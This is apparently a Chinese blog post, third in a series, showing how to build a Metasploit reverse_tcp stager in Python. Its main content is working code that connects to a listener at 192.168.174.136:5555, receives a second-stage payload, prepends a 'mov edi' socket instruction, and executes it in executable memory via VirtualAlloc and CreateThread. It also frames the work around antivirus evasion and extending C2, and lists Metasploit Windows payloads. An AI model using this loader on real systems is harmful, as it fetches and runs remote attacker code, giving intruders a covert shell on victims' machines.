• msf stagers开发不完全指北(三)


    采用 Python 开发stagers

    之前的文章中我们讲到了如何使用 c 以及 golang 开发 stagers,这篇文章我将着眼于 python,探讨一下如何使用 python 实现相同的功能,也就是msf的 stagers。

    环境

    • OS: Windows 10
    • Python: Python 3.7.7 (tags/v3.7.7:d7c567b08f, Mar 10 2020, 10:41:24) [MSC v.1900 64 bit (AMD64)] on win32

    前情提要

    这篇文章将是 windows reverse_tcp 相关的最后一节,让我们回忆一下之前写的文章中的流程原理,把 socket 文件描述符放入 edi 是为了传递给后面的 stages,让 stages 能够复用这个连接,所以我们有了 mov edi, socketfd 这一步。我们还需要取到tcp包的前四个字节,这四个字节是代表着后续 stages payload 的长度大小,获取到这个大小后,我们需要读取出指定大小的 tcp 包,然后就是把它当作 shellcode 看待,分配可读可写可执行内存,然后塞进去开始跑。

    大致上流程理清楚了,我们开始用 Python 代码进行实现

    实现细节

    创建 tcp 连接

    address = ('192.168.174.136', 5555)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(address)
    

    创建 tcp 连接没有什么好说的,不过这里还是需要注意的点是把你的 payload 与 python 对应起来,比如32位payload 使用 32位 python,这点是比较重要的

    获取stages

    # 获取后续payload大小
    payload_size = struct.unpack("<I", bytearray(s.recv(4)))[0]
    # 设置flag接收全部数据
    payload = s.recv(payload_size, socket.MSG_WAITALL)
    

    这里是读取了头四个 byte 作为后续的 stages 接收长度,这里需要注意的点是 socket.MSG_WAITALL,这个 flag 表示从 socket 连接读取指定长度的数据包为止,不然可能造成 recv 不完全的情况,recv 默认是有长度限制的,或者自己用 for 来实现也可以。

    mov edi, socketfd

    接下来就是把 socket 文件描述符放到 edi 里面去了

    # socket 文件描述符,为了edi调用,原理请查看 https://akkuman.cnblogs.com/p/12859091.html
    socket_fd = struct.pack('<I', s.fileno())
    
    # mov edi, socket_fd
    operation = b'xbf' + socket_fd
    
    # 组装完整的payload
    payload_with_edicall = operation + payload
    

    socket 对象提供一个 fileno 方法来供我们获取到 socket 的文件描述符,获取到之后我们使用 struct 的 pack 方法给它按照小端做成一个4 byte的,构造出 mov edi, socketfd 对应的机器码,然后和我们之前获取到的 stages 进行拼接组装成一个完整的 payload

    执行 stages

    接下来就是像跑 shellcode 一样的活儿了

    shellcode = bytearray(payload_with_edicall)
    # 设置VirtualAlloc返回类型为ctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0),
        ctypes.c_int(len(shellcode)),
        ctypes.c_int(0x3000),
        ctypes.c_int(0x40)
    )
    
    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buf,
        ctypes.c_int(len(shellcode))
    )
    # 创建一个线程从shellcode防止位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    
    # 等待上面创建的线程运行完
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
    

    这里的 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 是必要的,至少在我这里的环境是这样,需要指定一个返回值的类型。然后我们通过 VirtualAlloc 申请一块可读可写可执行的内存,然后把我们的 payload 放到这块内存区域里面去,新开辟一个线程从这块内存的起始地址开始运行。

    当然,其实实现执行 shellcode 的方式多种多样,这里采用你自己喜欢的一种方式即可。

    结果截图

    可以看到能够成功上线执行命令

    告一段落

    这三篇我以 windows 的 reverse_tcp 的 payload 为例,以三个不同的语言视角进行了具体的实现,具体功效可能需要看个人自行发挥了。

    接下来我会慢慢抽时间继续把这个 stagers 开发不完全指北系列继续下去,但是可能之后如果精力有限的话不会给出多个语言的实现,我会尽量把具体的原理细节说清楚,交由大家自行实现,下面开始写的话,可能会写 msf reverse_http 相关的,毕竟这个是 cs 中的主力,缺点除了需要每次心跳时才能返回数据,不够及时之外,其实还是一个很不错的东西,也会穿插着提到一些如何使用这些东西扩展 C2,使我们的免杀更具灵活性。

    其实另一方面来说,面对杀软如果对网络有实时监控的话,这种直接传回 stages 的文件特征比较明显,我也会在我研读源码的过程中把一些成果丢出来,权当给大家抛砖引玉。

    比如 msf 中现有的 windows x64 的 payload 有这些

    msf5 exploit(multi/handler) > set payload windows/x64/
    set payload windows/x64/exec                            set payload windows/x64/meterpreter_bind_named_pipe     set payload windows/x64/shell/reverse_tcp_uuid
    set payload windows/x64/loadlibrary                     set payload windows/x64/meterpreter_bind_tcp            set payload windows/x64/shell_bind_tcp
    set payload windows/x64/messagebox                      set payload windows/x64/meterpreter_reverse_http        set payload windows/x64/shell_reverse_tcp
    set payload windows/x64/meterpreter/bind_ipv6_tcp       set payload windows/x64/meterpreter_reverse_https       set payload windows/x64/vncinject/bind_ipv6_tcp
    set payload windows/x64/meterpreter/bind_ipv6_tcp_uuid  set payload windows/x64/meterpreter_reverse_ipv6_tcp    set payload windows/x64/vncinject/bind_ipv6_tcp_uuid
    set payload windows/x64/meterpreter/bind_named_pipe     set payload windows/x64/meterpreter_reverse_tcp         set payload windows/x64/vncinject/bind_named_pipe
    set payload windows/x64/meterpreter/bind_tcp            set payload windows/x64/pingback_reverse_tcp            set payload windows/x64/vncinject/bind_tcp
    set payload windows/x64/meterpreter/bind_tcp_rc4        set payload windows/x64/powershell_bind_tcp             set payload windows/x64/vncinject/bind_tcp_rc4
    set payload windows/x64/meterpreter/bind_tcp_uuid       set payload windows/x64/powershell_reverse_tcp          set payload windows/x64/vncinject/bind_tcp_uuid
    set payload windows/x64/meterpreter/reverse_http        set payload windows/x64/shell/bind_ipv6_tcp             set payload windows/x64/vncinject/reverse_http
    set payload windows/x64/meterpreter/reverse_https       set payload windows/x64/shell/bind_ipv6_tcp_uuid        set payload windows/x64/vncinject/reverse_https
    set payload windows/x64/meterpreter/reverse_named_pipe  set payload windows/x64/shell/bind_named_pipe           set payload windows/x64/vncinject/reverse_tcp
    set payload windows/x64/meterpreter/reverse_tcp         set payload windows/x64/shell/bind_tcp                  set payload windows/x64/vncinject/reverse_tcp_rc4
    set payload windows/x64/meterpreter/reverse_tcp_rc4     set payload windows/x64/shell/bind_tcp_rc4              set payload windows/x64/vncinject/reverse_tcp_uuid
    set payload windows/x64/meterpreter/reverse_tcp_uuid    set payload windows/x64/shell/bind_tcp_uuid             set payload windows/x64/vncinject/reverse_winhttp
    set payload windows/x64/meterpreter/reverse_winhttp     set payload windows/x64/shell/reverse_tcp               set payload windows/x64/vncinject/reverse_winhttps
    set payload windows/x64/meterpreter/reverse_winhttps    set payload windows/x64/shell/reverse_tcp_rc4
    

    我觉得其实是可以挑出一些自己感兴趣的进行研究

  • 相关阅读:
    Qt操作xml文件(增删改功能)
    Qt解析xml
    Qt中使用DOM解析XML文件或者字符串二(实例)
    Qt中使用DOM解析XML文件或者字符串(实例)
    QThread 实用技巧、误区----但文档中没有提到
    事件循环与线程 二
    事件循环与线程 一
    第一讲 递归
    Ubuntu 建立桌面快捷方式
    Codeforces554B:Ohana Cleans Up
  • 原文地址:https://www.cnblogs.com/Akkuman/p/13202480.html
Copyright © 2020-2023  润新知